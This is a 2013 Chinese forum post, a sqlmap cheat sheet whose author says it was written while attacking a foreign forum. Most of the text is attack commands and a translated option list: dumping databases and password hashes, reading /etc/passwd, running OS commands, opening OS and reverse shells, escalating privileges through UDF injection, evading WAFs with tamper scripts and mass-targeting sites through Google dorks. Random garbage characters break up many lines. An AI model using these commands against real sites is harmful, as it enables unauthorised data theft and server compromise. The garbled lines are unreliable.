找回密码
 立即注册
查看: 3480|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
4 y- @+ g6 z4 n$ R, Lsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称0 X2 s+ w) F. k, T) S% w" ?
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
5 t! o  H7 H( {9 m2 l4 y: Jsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段1 D  I4 K: h# C; a
) F, O( i& i1 v- h  y
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v; H  r8 }) n/ a2 ~  x# s
0 #获取字段内容
# `, H9 `2 a4 d$ h- l
8 {( O! k, B4 ~******************信息获取******************5 y+ j" n; f& J; p
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
8 t5 m: ?3 a1 b! L6 }sqlmap -u “http://url/news?id=1″ –users #列数据库用户; Q. [# ]! u' R4 ]. U
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
8 J, H& w, W$ o+ \, s( k) m3 B# Qsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
3 l# _9 y7 R1 l  a9 A' lsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
* q1 k  Y7 C. X, Q. Csqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”: G: l9 }7 E: l+ X! D
–start 1 –stop 20 #列出指定字段,列出20 条
1 N: y1 Y0 g( j% ?2 o0 E7 Dsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表. E3 U; R3 L) {  p6 @1 w0 ^" w2 W
sqlmap -u “http://url/news?id=1″ –privileges #查看权限0 b, o7 H* |7 X1 {: n
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色9 _7 Y4 E1 ?$ s# g, P# q+ t( q
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
' `. x- |0 w0 k6 qsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
8 y& W8 K) y7 k% |0 }4 j* wsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
% I, ?. F( y/ Z/ q3 P% ?) {- `sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入; a1 M( s$ z' o; ~9 g- m8 w7 ?
sqlmap -u “http://url/news?id=1″-b #获取banner信息
1 W4 e7 ?9 W3 p: s+ K+ J, \sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
2 Z/ M- C9 d$ `0 I- K5 }sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型4 m2 E* L  H0 I8 S1 d# ~
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入! B; @8 i2 C/ V/ |" R9 r9 K$ [  `
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
2 g3 S8 `* t2 d$ G! J- Z: C2 t9 Osqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
' U- Y8 R0 Q7 y0 z3 x4 Wsqlmap -u “http://url/news?id=1″ –file /etc/passwd" w0 w  f- c9 s  o
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令8 C3 z) \* h1 N  |
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
* {0 B( J7 g6 f1 y3 Jsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
( s' k8 F) L$ a  F4 _) msqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
8 U# w, N& h7 |! I. @+ asqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
, z3 D% c7 |, r, E( s***********高级用法*************! L6 c2 f- P3 w; J& }+ b
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
& R7 h% P9 G: c) }sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
; @' t( N/ f9 Z. ^. U; \7 a–technique   测试指定注入类型\使用的技术
, Y0 _2 N/ v0 O" A7 f& H( K不加参数默认测试所有注入技术
# s2 p  e) M$ V! L& _& L•     B: 基于布尔的SQL 盲注6 {: h$ Q6 V3 F/ u
•     E: 基于显错sql 注入
$ V3 f3 O0 e6 a1 s) w5 J•     U: 基于UNION 注入% ^' F6 ?3 V" W% [
•     S: 叠层sql 注入
9 e' _  Y2 @2 M( Z" I9 K•     T: 基于时间盲注
: \; G: d6 D& h, P2 J–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()9 a3 Y1 o3 N- u
–tamper 插件所在目录
$ f, B4 o( e8 k. k9 r\sqlmap-dev\tamper% r* a  ~) R1 F5 i7 k+ E
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
1 t  T2 `8 L1 l0 k; ^# Flevel 执行测试等级 攻击实例:
# u8 B+ M- U& L1 a, DSqlmap -u “http://url/news?id=1&Submit=Submit”
+ _% s6 ~6 J+ f; l; i) ~' M–cookie=”PHPSESSID=41aa833e6d0d
3 w; ]5 m7 V2 R  U5 m+ D28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user& Q1 @$ s  f$ i4 y# I' }/ U
–password3 x5 z! P* |1 q, P
参考文档:http://sqlmap.sourceforge.net/doc/README.html
9 {- x8 `  D& @7 j" H***********安装最新版本*************
8 A' n) L8 Y8 B$ j8 Bubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版9 @, `9 y' V! F% G" Z# i
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& z, V4 l  R9 l6 Q8 K" D" A
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
! S" E8 ~" @" Q0 r7 u4 N* y0 r9 Esudo vim /home/当前用户/.bashrc
. Z; Y6 P# r3 A- M, S; k% a#任意位置加上:2 M& O4 u0 U: }# S4 \0 Y* w/ W" l
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效9 H! g$ `: h+ m2 E$ u
如果想对所有用户有效 可设置全局 编辑下面的文件3 {/ Z4 v0 u2 ?9 p) [9 m: S
vim /etc/profile
6 i8 O: @' v# B" o同样加上:
+ c- g8 @1 y/ b$ P0 U4 m7 Qalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
" r+ ~: R! O/ A% w; D* {" D* A******************windows 7 (x64) sqlmap install (SVN)************3 u( U4 q  e- E# U3 t7 J
http://www.python.org/getit/ 安装python
- w/ q: i# ^9 q) v' Q* vhttp://www.sliksvn.com/en/download 安装windows svn client) L3 T+ F0 ~; H' N
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
) s" T# `+ P, a6 a安装sqlmap# y8 |6 S  m: s6 {+ X/ p4 I
*修改环境变量
3 _0 `6 v4 {9 f9 b% j–version             显示程序的版本号并退出) z5 N/ v2 Q. S+ H2 |* w
-h, –help            显示此帮助消息并退出
7 `3 y: S' Z) w, F2 n% c7 N-v VERBOSE            详细级别:0-6(默认为1)% z0 H0 ~5 G' v3 X" q- w6 [* H
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。) E1 n0 u' ^3 M$ U
-d DIRECT           直接连接到数据库。2 l  S* z" k, }- D( S
-u URL, –url=URL   目标URL。
8 _- G2 q+ P2 A# n' N$ N-l LIST             从Burp 或WebScarab 代理的日志中解析目标。/ f! B( n5 z0 U* s$ P- D
-r REQUESTFILE      从一个文件中载入HTTP 请求。
1 n4 ?- o- ~2 Z-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
5 u+ e3 K! Z  h4 N-c CONFIGFILE       从INI 配置文件中加载选项。/ M. J0 w' q2 T. a, d% H
Request(请求)::- Q7 d0 g' j7 f& z9 o* r
这些选项可以用来指定如何连接到目标URL。
7 |/ u- ]" S5 w/ j9 [' A! l5 H–data=DATA         通过POST 发送的数据字符串7 A( [/ {: M1 v
–cookie=COOKIE     HTTP Cookie 头
7 T; v. Z) \4 S–cookie-urlencode  URL 编码生成的cookie 注入/ _& U/ p; s2 T9 Q2 e$ b
–drop-set-cookie   忽略响应的Set –Cookie 头信息
* T5 G0 ?8 s3 z* F
) P5 c5 x6 @: P! C–user-agent=AGENT  指定  HTTP User –Agent 头
) ?7 l% r7 X, S% q( Q1 |) b- h, c  ?–random-agent      使用随机选定的HTTP User –Agent 头
( Y& }( }8 l4 p5 W–referer=REFERER   指定  HTTP Referer 头
( B7 q6 ^: Y+ T0 I4 O8 T1 |" W–headers=HEADERS   换行分开,加入其他的HTTP 头) L9 K" y3 A. B% I5 K- Y- g
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
. V% r8 }4 r# K% l–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
% O) X' ]% K# g  n–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)2 z( i7 y5 x* y5 u
–proxy=PROXY       使用HTTP 代理连接到目标URL
$ J& R# J, F9 h5 m: e–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
5 A) C7 V' v5 O$ T9 F$ x6 r–ignore-proxy      忽略系统默认的HTTP 代理4 h9 h2 S: n2 t  l
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒7 R! i  |$ L1 |2 w4 O( m
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)0 W7 \4 _& W7 m. c7 }* i2 [4 }$ u
–retries=RETRIES   连接超时后重新连接的时间(默认3)& L$ T& Z, z5 f3 Y3 g+ h. c
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
" O8 E( h  U$ Z4 r, c–safe-url=SAFURL   在测试过程中经常访问的url 地址0 Y% A' F" g5 j
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL1 a' I5 u9 I7 }, n
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
# i; \  s/ _# ~4 h7 U, X  n-o                  开启所有优化开关. N& w8 @2 d( Y" s2 i" t
–predict-output    预测常见的查询输出5 C% u! R- h9 J' d
–keep-alive        使用持久的HTTP(S)连接+ D6 T  }) ?8 l  B: z
–null-connection   从没有实际的HTTP 响应体中检索页面长度3 n* V. f$ ^' p
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
) Z1 p& u0 k5 bInjection(注入):
, S$ `! [9 k+ l" }4 e! q这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
6 o) V- T4 P3 g9 X6 S-p TESTPARAMETER    可测试的参数(S)
: n# Q2 s9 G5 ^$ X–dbms=DBMS         强制后端的DBMS 为此值
& G6 Z! I' M% Z2 P0 J% j–os=OS             强制后端的DBMS 操作系统为这个值# P& U1 x; a7 S' v% C
–prefix=PREFIX     注入payload 字符串前缀2 S3 R# S, o  o& I" r6 ]
–suffix=SUFFIX     注入 payload 字符串后缀9 w: K6 g5 h5 Y% Q$ Z
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
3 q# w6 r& |% j$ tDetection(检测):
7 @6 g3 J$ y1 f, {, e; t9 d+ V9 Y; |" m这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。1 j+ y4 f5 l. G3 b
–level=LEVEL       执行测试的等级(1-5,默认为1)% d$ k# N3 B& ]  e. D
–risk=RISK         执行测试的风险(0-3,默认为1)3 p& Z: R; i1 b4 }2 G2 q3 R( X7 r7 |
–string=STRING     查询时有效时在页面匹配字符串* u+ T( E' C0 h. m( k7 W3 l
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
9 K6 ^( n! Z/ h, s–text-only         仅基于在文本内容比较网页! H* `9 X5 U7 [2 d6 ?
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
+ P9 _  C7 c7 E" ^0 m0 U+ B–technique=TECH    SQL 注入技术测试(默认BEUST)
4 P5 w4 ~2 O- y; U/ T" y–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)( O2 p1 W- G. O# I
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
6 |1 }! x! p0 L& F7 x–union-char=UCHAR  用于暴力猜解列数的字符
  t2 J) p; ?0 cFingerprint(指纹):  Q* W% Q& [1 z) T# N" Z& S
-f, –fingerprint     执行检查广泛的DBMS 版本指纹  F6 h7 ^2 c+ l9 q2 g# b& J: j
Enumeration(枚举):6 j* I% _2 a7 c. s9 w

- o) G+ Q0 ^# Q+ w! e) V9 L这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。7 b( r3 u/ [. ~, g
-b, –banner        检索数据库管理系统的标识
# ~7 j' C0 x' z7 H  E" `( N–current-user      检索数据库管理系统当前用户
; q; l6 u  P+ x* Y5 z1 R3 j/ \–current-db        检索数据库管理系统当前数据库
. Y8 O, F3 v) p–is-dba            检测DBMS 当前用户是否DBA
3 r( t- H  A/ X2 f7 `5 Q–users             枚举数据库管理系统用户4 y0 G* m! r4 ?( s2 ]
–passwords         枚举数据库管理系统用户密码哈希
. I5 k4 [4 |+ [  E: Y–privileges        枚举数据库管理系统用户的权限$ f, W9 R! q' o- V; r
–roles             枚举数据库管理系统用户的角色# r3 h: G) f3 U4 U1 K* N% {
–dbs               枚举数据库管理系统数据库- R$ a# z! E2 V( a6 |3 g
–tables            枚举的DBMS 数据库中的表
6 [( f; g' c7 c: k' r$ \9 g! m–columns           枚举DBMS 数据库表列6 {( z: ]" m8 C" N' e' C2 e
–dump              转储数据库管理系统的数据库中的表项
# \& {. ^) W8 p* c6 l–dump-all          转储所有的DBMS 数据库表中的条目
/ V8 K7 `) P, e+ [4 y–search            搜索列(S),表(S)和/或数据库名称(S)
$ ?7 x( t- m( @- T" V+ ]-D DB               要进行枚举的数据库名
# n6 A# J4 p8 y% Z2 q$ [-T TBL              要进行枚举的数据库表
6 t1 z: ^( @  O  |-C COL              要进行枚举的数据库列
3 \' O& I+ w8 f9 Q6 w$ v: `-U USER             用来进行枚举的数据库用户+ A2 H1 @* W5 c% f4 L! k
–exclude-sysdbs    枚举表时排除系统数据库+ ?3 Q/ A/ b# [4 E8 T
–start=LIMITSTART  第一个查询输出进入检索
; v  c% f; K# g/ j3 x$ L1 I1 l- @–stop=LIMITSTOP    最后查询的输出进入检索. D# q# ~8 w! ]7 B3 ?; _8 r" y
–first=FIRSTCHAR   第一个查询输出字的字符检索$ \5 R0 P! R* F
–last=LASTCHAR     最后查询的输出字字符检索
6 M0 `3 Z3 k" ~* j$ ?2 o/ c–sql-query=QUERY   要执行的SQL 语句6 h' f6 {2 i7 \" D: N3 b: p0 f
–sql-shell         提示交互式SQL 的shell$ l: |) v* Q+ p, n
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。3 @- S9 D/ [8 A- H+ [
–common-tables     检查存在共同表/ {+ ~6 I* K! s4 M2 s  X
–common-columns    检查存在共同列1 I9 \' R  {2 p9 \& E
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。$ A$ l5 @7 n' e3 `
–udf-inject        注入用户自定义函数
6 j2 V: `( O  X–shared-lib=SHLIB  共享库的本地路径
% _2 U& Q. l) s7 \% X8 L1 {File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。6 X2 i4 W8 P( x# s3 P  P
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
; E& U( J* t/ T9 R& L( E–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件2 @& B; g  H% o3 X% _, z' C
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
1 t2 W, W4 [. F$ eOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。% @& y2 ~: F3 X: p( {
–os-cmd=OSCMD      执行操作系统命令2 t5 _  P! @; E
–os-shell          交互式的操作系统的shell9 B3 B+ t0 i  r/ m
–os-pwn            获取一个OOB shell,meterpreter 或VNC3 d- ]+ ]& }3 H- \( E. Y. \" j
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC# i- J* u2 I7 F9 B/ h
–os-bof            存储过程缓冲区溢出利用
  V$ \% H# h% J: A8 e4 A) E–priv-esc          数据库进程用户权限提升: @& S( K  a- C* {
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径3 @/ p# N4 k! T5 J
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
8 h( C8 e1 b. L. _* I) w
  |7 a( Z) [7 U; O8 T- {Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。# |# t& j3 B  j( a* m/ F5 V# w) k
–reg-read          读一个Windows 注册表项值- b2 ~) i. q" T( P
–reg-add           写一个Windows 注册表项值数据6 D$ r* y5 _+ k, X1 z4 ~
–reg-del           删除Windows 注册表键值9 ]7 m. A% R9 t
–reg-key=REGKEY    Windows 注册表键
4 ]1 @/ s8 Q+ }$ ]0 d  c& s& M–reg-value=REGVAL  Windows 注册表项值" i3 Z) g" P$ O. I# l! t. `- J
–reg-data=REGDATA  Windows 注册表键值数据
. T2 w8 _7 {" w" O- G–reg-type=REGTYPE  Windows 注册表项值类型. B1 H% w) j5 O) o
General(一般): 这些选项可以用来设置一些一般的工作参数。* s2 y9 L3 X! m/ c$ E
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中3 C9 S6 U( K, U3 L
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
2 L) y5 f. [" r  S–flush-session     刷新当前目标的会话文件
( E; o3 _) C$ P2 I" E–fresh-queries     忽略在会话文件中存储的查询结果! s5 z" R% b7 Z$ J& z& ]1 |
–eta               显示每个输出的预计到达时间" l. n0 H& u2 U( |
–update            更新SqlMap8 I# n: Z; i; n% o- \+ d
–save              file 保存选项到INI 配置文件
$ O0 v9 ?+ O2 M( Y0 ?–batch             从不询问用户输入,使用所有默认配置。
' }. R" T4 o* R" @: {  |Miscellaneous(杂项):
, j) D+ F( Q( p–beep              发现SQL 注入时提醒; U) m' t0 {7 s% p0 {4 J- K
–check-payload     IDS 对注入payloads 的检测测试
) g% P8 F1 x, A: f4 B/ q3 Z–cleanup           SqlMap 具体的UDF 和表清理DBMS1 P+ o# y) u2 J4 S" R& R5 \
–forms             对目标URL 的解析和测试形式+ O+ x4 Z5 x: ^* a: |; V# N
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果+ V) X/ v4 P5 F* Z; O- v
–page-rank         Google dork 结果显示网页排名(PR)- }4 i4 V0 L! L: W' _9 N
–parse-errors      从响应页面解析数据库管理系统的错误消息) G6 J1 y, K- Z. q
–replicate         复制转储的数据到一个sqlite3 数据库
( `! [% x- o$ s% K" j" Q–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
" A6 q1 U' a( f9 V–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表